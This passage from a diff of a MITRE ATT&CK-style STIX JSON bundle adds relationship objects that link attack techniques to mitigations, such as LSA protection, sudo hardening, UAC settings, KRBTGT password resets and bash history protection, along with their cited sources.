"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--29284c62-45b2-4650-88ac-fea62ddcd829", + "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "modified": "2020-01-24T17:00:00.074Z", + "source_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-24T17:00:00.074Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bab689ff-c89e-452f-bca6-a01078ae406e", + "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", + "modified": "2020-01-24T17:07:20.018Z", + "source_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-24T17:07:20.018Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--43bcf0ae-d0ff-4653-93c7-0c03eee5e5c2", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "target_ref": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462", + "modified": "2020-03-25T15:42:49.042Z", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T17:16:12.005Z", + "external_references": [ + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. 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Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.", + "target_ref": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9", + "modified": "2020-03-27T00:43:58.291Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T14:11:41.724Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2d7deb28-0fcf-495b-9d41-01529d356674", + "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "modified": "2020-01-30T14:11:41.737Z", + "source_ref": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-30T14:11:41.737Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--922037af-61f0-42d8-8b57-310b6b56ea5a", + "description": "Remove users from the local administrator group on systems.", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2020-07-22T21:36:52.716Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T14:24:35.581Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--86eb3c0d-b1c1-4b52-b802-18f321450f29", + "description": "Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2020-07-22T21:36:52.692Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T14:24:35.595Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3bc57dac-c8b3-4d6d-8f4c-3e7d515cdf87", + "description": "Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.(Citation: Github UACMe)", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2020-07-22T21:36:52.740Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T14:24:35.600Z", + "external_references": [ + { + "source_name": "Github UACMe", + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "url": "https://github.com/hfiref0x/UACME" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4436ace7-a47d-4d18-afa1-4454432fba66", + "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "modified": "2020-01-30T14:24:35.602Z", + "source_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-30T14:24:35.602Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b69490a4-3768-405e-856d-da11d95183e7", + "description": "Ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.", + "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", + "modified": "2020-03-27T01:03:26.480Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T14:34:45.390Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--800f4061-3347-4816-a633-179ede275505", + "description": "The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege.", + "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", + "modified": "2020-03-27T01:03:26.478Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T14:34:45.415Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--be444020-9002-42c3-a68c-1591c0d1e9e2", + "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "modified": "2020-01-30T14:34:45.421Z", + "source_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-30T14:34:45.421Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f5316001-db89-4c59-8a58-abf12f439c58", + "description": "By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file. Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed.", + "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", + "modified": "2020-03-27T01:03:26.481Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T14:34:45.427Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--362b2f10-f599-4663-9cff-27932e11935a", + "description": "System settings can prevent applications from running that haven't been downloaded through the Apple Store which may help mitigate some of these issues. Not allowing unsigned applications from being run may also mitigate some risk.", + "target_ref": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0", + "modified": "2020-03-27T12:04:38.045Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T14:40:20.608Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ac53cb36-9471-4ea0-8316-42d97f84956f", + "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "modified": "2020-01-30T14:40:20.626Z", + "source_ref": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-30T14:40:20.626Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bdf60e66-264d-45ec-bb67-b74fa04fe28e", + "description": "Enforce the principle of least-privilege. Do not allow a domain user to be in the local administrator group on multiple systems.", + "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", + "modified": "2021-10-17T14:15:32.108Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T16:18:37.236Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--72904b3d-5b24-4698-8094-8919f3bda494", + "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.", + "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", + "modified": "2021-10-17T14:15:32.118Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T16:18:37.239Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7e5e2fd3-cab4-4853-81ad-9bf50e1390bd", + "description": "Do not allow a domain user to be in the local administrator group on multiple systems.", + "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "modified": "2021-08-31T19:55:02.860Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T16:36:51.559Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2dcd6644-f1d4-4001-81a5-95701fd29360", + "description": "Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy.\n\nThrough GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons.(Citation: GitHub IAD Secure Host Baseline UAC Filtering)", + "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "modified": "2021-08-31T19:55:02.841Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T16:36:51.574Z", + "external_references": [ + { + "url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml", + "description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.", + "source_name": "GitHub IAD Secure Host Baseline UAC Filtering" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0c0cd7a2-496b-458d-b041-e05816450502", + "description": "Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.(Citation: NSA Spotting) ", + "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "modified": "2021-08-31T19:55:02.894Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T16:36:51.580Z", + "external_references": [ + { + "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm", + "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", + "source_name": "NSA Spotting" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b06103d8-d410-418e-851a-63ca820cc27e", + "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.", + "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "modified": "2021-08-31T19:55:02.897Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T16:36:51.582Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c54ccdc7-ed15-45c7-bfc9-f6e6e2b0d7f3", + "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", + "modified": "2020-01-30T16:36:51.584Z", + "source_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-30T16:36:51.584Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4ff3969a-4992-43c0-b4dc-02a21f5c9b2b", + "description": "Do not allow a user to be a local administrator for multiple systems.", + "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", + "modified": "2021-08-31T19:56:31.505Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T17:03:43.449Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0347a294-8928-4d15-8df2-44452b40afe4", + "description": "Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.(Citation: ADSecurity AD Kerberos Attacks)", + "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", + "modified": "2021-08-31T19:56:31.519Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T17:03:43.468Z", + "external_references": [ + { + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "url": "https://adsecurity.org/?p=556" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--918a7d67-faea-4a41-9ed3-e3558fca73db", + "description": "To contain the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.(Citation: ADSecurity Kerberos and KRBTGT) For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)", + "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", + "modified": "2021-08-31T19:56:31.582Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T17:03:43.477Z", + "external_references": [ + { + "source_name": "ADSecurity Kerberos and KRBTGT", + "description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory\u2019s Domain Kerberos Service Account. Retrieved January 30, 2020.", + "url": "https://adsecurity.org/?p=483" + }, + { + "url": "https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779", + "description": "UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020.", + "source_name": "STIG krbtgt reset" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--214b91f3-a71f-45b2-b85a-b1510d947806", + "description": "Ensure that local administrator accounts have complex, unique passwords.", + "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", + "modified": "2021-08-31T19:56:31.577Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T17:03:43.475Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6a387a6a-2359-4ea6-ab73-9428e188d408", + "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", + "modified": "2020-01-30T17:03:43.478Z", + "source_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-30T17:03:43.478Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--90d8b716-a9b3-483a-b16b-fac062cbc6b0", + "description": "Update corporate policies to restrict what types of third-party applications may be added to any online service or tool that is linked to the company's information, accounts or network (e.g., Google, Microsoft, Dropbox, Basecamp, GitHub). However, rather than providing high-level guidance on this, be extremely specific\u2014include a list of per-approved applications and deny all others not on the list. Administrators may also block end-user consent through administrative portals, such as the Azure Portal, disabling users from authorizing third-party apps through OAuth and forcing administrative consent.(Citation: Microsoft Azure AD Admin Consent)", + "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", + "modified": "2021-09-02T17:18:56.195Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T17:37:22.721Z", + "external_references": [ + { + "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/steps-secure-identity#block-end-user-consent", + "description": "Baldwin, M., Flores, J., Kess, B.. (2018, June 17). Five steps to securing your identity infrastructure. Retrieved October 4, 2019.", + "source_name": "Microsoft Azure AD Admin Consent" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--efafd777-c53d-4459-8765-2e5e44cd0ea1", + "description": "File encryption should be enforced across email communications containing sensitive information that may be obtained through access to email services.", + "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", + "modified": "2021-09-02T17:18:56.197Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-30T17:37:22.734Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--86f6ea64-eb95-4228-956f-eae82b8f49d8", + "description": "Administrators can leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. 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"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", + "modified": "2020-01-30T19:59:18.946Z", + "source_ref": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-30T19:59:18.946Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dcc531dd-6136-44ac-963b-3ebab0028d96", + "description": "Making the environment variables associated with command history read only may ensure that the history is preserved.(Citation: Securing bash history)", + "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", + "modified": "2020-10-16T18:09:48.831Z", + "source_ref": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-31T12:32:08.384Z", + "external_references": [ + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9e7fc18e-06a3-437f-8e3b-18f5378c9d44", + "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history or ConsoleHost_history.txt files.", + "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", + "modified": "2020-10-16T18:09:48.883Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-31T12:32:08.411Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--986430e2-0520-4a81-86a7-b7fd7554fcb2", + "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files.", + "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", + "modified": "2020-10-16T18:09:48.942Z", + "source_ref": "course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-31T12:32:08.422Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a31e4c9c-c69d-445e-a669-0b0f6bdaff3e", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "modified": "2020-01-31T12:32:08.432Z", + "source_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", + "created_by_ref": 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Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", + "modified": "2021-09-01T00:57:01.409Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-03T16:49:58.298Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b0f5d834-3e35-4e09-8bc0-1487027b74f9", + "target_ref": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", + "modified": "2020-02-03T16:49:58.300Z", + "source_ref": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-03T16:49:58.300Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fab558cd-cb4a-4e7a-a3c7-184bee680019", + "description": "Establish an organizational policy that prohibits password storage in files.", + "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "modified": "2021-04-12T18:32:33.066Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-04T12:52:13.341Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dac6c0a0-9eba-41b5-95c1-2f340d12b175", + "description": "Preemptively search for files containing passwords and take actions to reduce the exposure risk when found.", + "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "modified": "2021-04-12T18:32:33.058Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-04T12:52:13.346Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f4ac7555-2b20-4345-998e-6ffc462cab03", + "description": "Restrict file shares to specific directories with access only to necessary users.", + "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "modified": "2021-04-12T18:32:33.064Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-04T12:52:13.350Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--934be676-4444-4ab3-a411-dc9a8dc9c4bb", + "description": "Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers.", + "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "modified": "2021-04-12T18:32:33.067Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-04T12:52:13.344Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--476041eb-8a19-4eef-bd07-d3a2db565928", + "description": "Remove vulnerable Group Policy Preferences.(Citation: Microsoft MS14-025)", + "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "modified": "2021-04-12T18:32:33.085Z", + "source_ref": "course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-04T12:52:13.382Z", + "external_references": [ + { + "source_name": "Microsoft MS14-025", + "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.", + "url": "http://support.microsoft.com/kb/2962486" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--982441e5-d8f3-4b12-a765-4b503ce5db3b", + "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "modified": "2020-02-04T12:52:13.385Z", + "source_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "created_by_ref": 